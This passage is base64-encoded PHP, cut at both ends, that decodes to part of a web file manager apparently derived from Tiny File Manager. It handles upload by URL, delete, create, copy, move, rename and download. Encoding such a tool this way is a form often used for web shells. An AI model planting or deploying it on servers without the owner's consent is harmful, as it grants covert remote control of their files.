ID0+ICRlcnIpKTsNCiAgICAgICAgICAgIGV4aXQoKTsNCiAgICAgICAgfQ0KDQogICAgICAgICR1c2VfY3VybCA9IGZhbHNlOw0KICAgICAgICAkdGVtcF9maWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJ1cGxvYWQtIik7DQogICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpOw0KICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksICIuXHgwMC4uXHgyMCIpOw0KDQogICAgICAgICRhbGxvd2VkID0gKEZNX1VQTE9BRF9FWFRFTlNJT04pID8gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pIDogZmFsc2U7DQogICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlaW5mby0+bmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7DQogICAgICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7DQoNCiAgICAgICAgJGVyciA9IGZhbHNlOw0KDQogICAgICAgIGlmKCEkaXNGaWxlQWxsb3dlZCkgew0KICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiAiRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQiKTsNCiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJmYWlsIiA9PiAkZXJyKSk7DQogICAgICAgICAgICBleGl0KCk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoISR1cmwpIHsNCiAgICAgICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIH0gZWxzZSBpZiAoJHVzZV9jdXJsKSB7DQogICAgICAgICAgICBAJGZwID0gZm9wZW4oJHRlbXBfZmlsZSwgInciKTsNCiAgICAgICAgICAgIEAkY2ggPSBjdXJsX2luaXQoJHVybCk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTk9QUk9HUkVTUywgZmFsc2UgKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsNCiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpOw0KICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykgew0KICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gY3VybF9lcnJvcigkY2gpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICRmaWxlaW5mby0+c2l6ZSA9ICRjdXJsX2luZm9bInNpemVfZG93bmxvYWQiXTsNCiAgICAgICAgICAgICRmaWxlaW5mby0+dHlwZSA9ICRjdXJsX2luZm9bImNvbnRlbnRfdHlwZSJdOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpOw0KICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTsNCiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHsNCiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkc3VjY2Vzcykgew0KICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoJHN1Y2Nlc3MpIHsNCiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJkb25lIiA9PiAkZmlsZWluZm8pKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHVubGluaygkdGVtcF9maWxlKTsNCiAgICAgICAgICAgIGlmICghJGVycikgew0KICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIkludmFsaWQgdXJsIHBhcmFtZXRlciIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwiID0+ICRlcnIpKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBleGl0KCk7DQp9DQoNCi8vIERlbGV0ZSBmaWxlIC8gZm9sZGVyDQppZiAoaXNzZXQoJF9HRVRbJ2RlbCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgew0KICAgICRkZWwgPSBzdHJfcmVwbGFjZSggJy8nLCAnJywgZm1fY2xlYW5fcGF0aCggJF9HRVRbJ2RlbCddICkgKTsNCiAgICBpZiAoJGRlbCAhPSAnJyAmJiAkZGVsICE9ICcuLicgJiYgJGRlbCAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7DQogICAgICAgIH0NCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkcGF0aCAuICcvJyAuICRkZWwpOw0KICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICcvJyAuICRkZWwpKSB7DQogICAgICAgICAgICAkbXNnID0gJGlzX2RpciA/IGxuZygnRm9sZGVyJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdEZWxldGVkJyk7DQogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJG1zZywgZm1fZW5jKCRkZWwpKSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkbXNnID0gJGlzX2RpciA/IGxuZygnRm9sZGVyJykuJyA8Yj4lczwvYj4gJy5sbmcoJ25vdCBkZWxldGVkJykgOiBsbmcoJ0ZpbGUnKS4nIDxiPiVzPC9iPiAnLmxuZygnbm90IGRlbGV0ZWQnKTsNCiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7DQogICAgfQ0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCn0NCg0KLy8gQ3JlYXRlIGEgbmV3IGZpbGUvZm9sZGVyDQppZiAoaXNzZXQoJF9QT1NUWyduZXdmaWxlbmFtZSddLCAkX1BPU1RbJ25ld2ZpbGUnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsNCiAgICAkdHlwZSA9IHVybGRlY29kZSgkX1BPU1RbJ25ld2ZpbGUnXSk7DQogICAgJG5ldyA9IHN0cl9yZXBsYWNlKCAnLycsICcnLCBmbV9jbGVhbl9wYXRoKCBzdHJpcF90YWdzKCAkX1BPU1RbJ25ld2ZpbGVuYW1lJ10gKSApICk7DQogICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR0eXBlID09ICJmaWxlIikgew0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICcvJyAuICRuZXcpKSB7DQogICAgICAgICAgICAgICAgaWYoZm1faXNfdmFsaWRfZXh0KCRuZXcpKSB7DQogICAgICAgICAgICAgICAgICAgIEBmb3BlbigkcGF0aCAuICcvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpOw0KICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCRuZXcpKSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgZXh0ZW5zaW9uIGlzIG5vdCBhbGxvd2VkJyksICdlcnJvcicpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdhbHJlYWR5IGV4aXN0cycpLCBmbV9lbmMoJG5ldykpLCAnYWxlcnQnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICRuZXcsIGZhbHNlKSA9PT0gdHJ1ZSkgew0KICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpLicgPGI+JXM8L2I+ICcubG5nKCdDcmVhdGVkJyksICRuZXcpKTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICRuZXcsIGZhbHNlKSA9PT0gJHBhdGggLiAnLycgLiAkbmV3KSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykuJyA8Yj4lczwvYj4gJy5sbmcoJ2FscmVhZHkgZXhpc3RzJyksIGZtX2VuYygkbmV3KSksICdhbGVydCcpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnbm90IGNyZWF0ZWQnKSwgZm1fZW5jKCRuZXcpKSwgJ2Vycm9yJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7DQogICAgfQ0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCn0NCg0KLy8gQ29weSBmb2xkZXIgLyBmaWxlDQppZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHsNCiAgICAvLyBmcm9tDQogICAgJGNvcHkgPSB1cmxkZWNvZGUoJF9HRVRbJ2NvcHknXSk7DQogICAgJGNvcHkgPSBmbV9jbGVhbl9wYXRoKCRjb3B5KTsNCiAgICAvLyBlbXB0eSBwYXRoDQogICAgaWYgKCRjb3B5ID09ICcnKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCcpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCiAgICAvLyBhYnMgcGF0aCBmcm9tDQogICAgJGZyb20gPSBGTV9ST09UX1BBVEggLiAnLycgLiAkY29weTsNCiAgICAvLyBhYnMgcGF0aCB0bw0KICAgICRkZXN0ID0gRk1fUk9PVF9QQVRIOw0KICAgIGlmIChGTV9QQVRIICE9ICcnKSB7DQogICAgICAgICRkZXN0IC49ICcvJyAuIEZNX1BBVEg7DQogICAgfQ0KICAgICRkZXN0IC49ICcvJyAuIGJhc2VuYW1lKCRmcm9tKTsNCiAgICAvLyBtb3ZlPw0KICAgICRtb3ZlID0gaXNzZXQoJF9HRVRbJ21vdmUnXSk7DQogICAgJG1vdmUgPSBmbV9jbGVhbl9wYXRoKHVybGRlY29kZSgkbW92ZSkpOw0KICAgIC8vIGNvcHkvbW92ZS9kdXBsaWNhdGUNCiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHsNCiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJy8nIC4gYmFzZW5hbWUoJGZyb20pLCAnLycpOw0KICAgICAgICBpZiAoJG1vdmUpIHsgLy8gTW92ZSBhbmQgdG8gIT0gZnJvbSBzbyBqdXN0IHBlcmZvcm0gbW92ZQ0KICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpOw0KICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykuJyA8Yj4lczwvYj4gJy5sbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSkpOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRyZW5hbWUgPT09IG51bGwpIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnKSwgJ2FsZXJ0Jyk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJykuJyA8Yj4lczwvYj4gJy5sbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSksICdlcnJvcicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2UgeyAvLyBOb3QgbW92ZSBhbmQgdG8gIT0gZnJvbSBzbyBjb3B5IHdpdGggb3JpZ2luYWwgbmFtZQ0KICAgICAgICAgICAgaWYgKGZtX3Jjb3B5KCRmcm9tLCAkZGVzdCkpIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdDb3BpZWQgZnJvbScpLicgPGI+JXM8L2I+ICcubG5nKCd0bycpLicgPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykuJyA8Yj4lczwvYj4gJy5sbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSksICdlcnJvcicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICBpZiAoISRtb3ZlKXsgLy9Ob3QgbW92ZSBhbmQgdG8gPSBmcm9tIHNvIGR1cGxpY2F0ZQ0KICAgICAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJy8nIC4gYmFzZW5hbWUoJGZyb20pLCAnLycpOw0KICAgICAgICAgICAgJGZuX3BhcnRzID0gcGF0aGluZm8oJGZyb20pOw0KICAgICAgICAgICAgJGV4dGVuc2lvbl9zdWZmaXggPSAnJzsNCiAgICAgICAgICAgIGlmKCFpc19kaXIoJGZyb20pKXsNCiAgICAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJy4nLiRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvL0NyZWF0ZSBuZXcgbmFtZSBmb3IgZHVwbGljYXRlDQogICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10uJy8nLiRmbl9wYXJ0c1snZmlsZW5hbWUnXS4nLScuZGF0ZSgnWW1kSGlzJykuJGV4dGVuc2lvbl9zdWZmaXg7DQogICAgICAgICAgICAkbG9vcF9jb3VudCA9IDA7DQogICAgICAgICAgICAkbWF4X2xvb3AgPSAxMDAwOw0KICAgICAgICAgICAgLy8gQ2hlY2sgaWYgYSBmaWxlIHdpdGggdGhlIGR1cGxpY2F0ZSBuYW1lIGFscmVhZHkgZXhpc3RzLCBpZiBzbywgbWFrZSBuZXcgbmFtZSAoZWRnZSBjYXNlLi4uKQ0KICAgICAgICAgICAgd2hpbGUoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCl7DQogICAgICAgICAgICAgICAkZm5fcGFydHMgPSBwYXRoaW5mbygkZm5fZHVwbGljYXRlKTsNCiAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXS4nLycuJGZuX3BhcnRzWydmaWxlbmFtZSddLictY29weScuJGV4dGVuc2lvbl9zdWZmaXg7DQogICAgICAgICAgICAgICAkbG9vcF9jb3VudCsrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGZtX3Jjb3B5KCRmcm9tLCAkZm5fZHVwbGljYXRlLCBGYWxzZSkpIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0NvcGllZCBmcm9tIDxiPiVzPC9iPiB0byA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkZm5fZHVwbGljYXRlKSksICdlcnJvcicpOw0KICAgICAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBlbHNle2ZtX3NldF9tc2cobG5nKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcpLCAnYWxlcnQnKTsNCiAgICAgICB9DQogICAgfQ0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCn0NCg0KLy8gTWFzcyBjb3B5IGZpbGVzLyBmb2xkZXJzDQppZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10sICRfUE9TVFsnY29weV90byddLCAkX1BPU1RbJ2ZpbmlzaCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgew0KDQogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgVG9rZW4uJyksICdlcnJvcicpOw0KICAgIH0NCiAgICANCiAgICAvLyBmcm9tDQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQogICAgLy8gdG8NCiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIOw0KICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7DQogICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7DQogICAgICAgICRjb3B5X3RvX3BhdGggLj0gJy8nIC4gJGNvcHlfdG87DQogICAgfQ0KICAgIGlmICgkcGF0aCA9PSAkY29weV90b19wYXRoKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcpLCAnYWxlcnQnKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkgew0KICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpOw0KICAgICAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgICAgICB9DQogICAgfQ0KICAgIC8vIG1vdmU/DQogICAgJG1vdmUgPSBpc3NldCgkX1BPU1RbJ21vdmUnXSk7DQogICAgLy8gY29weS9tb3ZlDQogICAgJGVycm9ycyA9IDA7DQogICAgJGZpbGVzID0gJF9QT1NUWydmaWxlJ107DQogICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkgew0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsNCiAgICAgICAgICAgIGlmICgkZiAhPSAnJykgew0KICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7DQogICAgICAgICAgICAgICAgLy8gYWJzIHBhdGggZnJvbQ0KICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnLycgLiAkZjsNCiAgICAgICAgICAgICAgICAvLyBhYnMgcGF0aCB0bw0KICAgICAgICAgICAgICAgICRkZXN0ID0gJGNvcHlfdG9fcGF0aCAuICcvJyAuICRmOw0KICAgICAgICAgICAgICAgIC8vIGRvDQogICAgICAgICAgICAgICAgaWYgKCRtb3ZlKSB7DQogICAgICAgICAgICAgICAgICAgICRyZW5hbWUgPSBmbV9yZW5hbWUoJGZyb20sICRkZXN0KTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRyZW5hbWUgPT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KCRmcm9tLCAkZGVzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7DQogICAgICAgICAgICAkbXNnID0gJG1vdmUgPyAnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnMgbW92ZWQnIDogJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIGNvcGllZCc7DQogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2cpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ0Vycm9yIHdoaWxlIG1vdmluZyBpdGVtcycgOiAnRXJyb3Igd2hpbGUgY29weWluZyBpdGVtcyc7DQogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2csICdlcnJvcicpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7DQogICAgfQ0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCn0NCg0KLy8gUmVuYW1lDQppZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgew0KICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgIGZtX3NldF9tc2coIkludmFsaWQgVG9rZW4uIiwgJ2Vycm9yJyk7DQogICAgfQ0KICAgIC8vIG9sZCBuYW1lDQogICAgJG9sZCA9IHVybGRlY29kZSgkX1BPU1RbJ3JlbmFtZV9mcm9tJ10pOw0KICAgICRvbGQgPSBmbV9jbGVhbl9wYXRoKCRvbGQpOw0KICAgICRvbGQgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkb2xkKTsNCiAgICAvLyBuZXcgbmFtZQ0KICAgICRuZXcgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfdG8nXSk7DQogICAgJG5ldyA9IGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkbmV3KSk7DQogICAgJG5ldyA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRuZXcpOw0KICAgIC8vIHBhdGgNCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICBpZiAoRk1fUEFUSCAhPSAnJykgew0KICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgIH0NCiAgICAvLyByZW5hbWUNCiAgICBpZiAoZm1faXN2YWxpZF9maWxlbmFtZSgkbmV3KSAmJiAkb2xkICE9ICcnICYmICRuZXcgIT0gJycpIHsNCiAgICAgICAgaWYgKGZtX3JlbmFtZSgkcGF0aCAuICcvJyAuICRvbGQsICRwYXRoIC4gJy8nIC4gJG5ldykpIHsNCiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ1JlbmFtZWQgZnJvbScpLicgPGI+JXM8L2I+ICcuIGxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkb2xkKSwgZm1fZW5jKCRuZXcpKSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJykuJyA8Yj4lczwvYj4gJy4gbG5nKCd0bycpLicgPGI+JXM8L2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpOw0KICAgIH0NCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIERvd25sb2FkDQppZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICBmbV9zZXRfbXNnKCJJbnZhbGlkIFRva2VuLiIsICdlcnJvcicpOw0KICAgIH0NCg0KICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7DQogICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpOw0KICAgICRkbCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRkbCk7DQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQogICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJy8nIC4gJGRsKSkgew0KICAgICAgICBmbV9kb3dubG9hZF9maWxlKCRwYXRoIC4gJy8nIC4gJGRsLCAkZGwsIDEwMjQpOw0KICAgICAgICBleGl0Ow0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH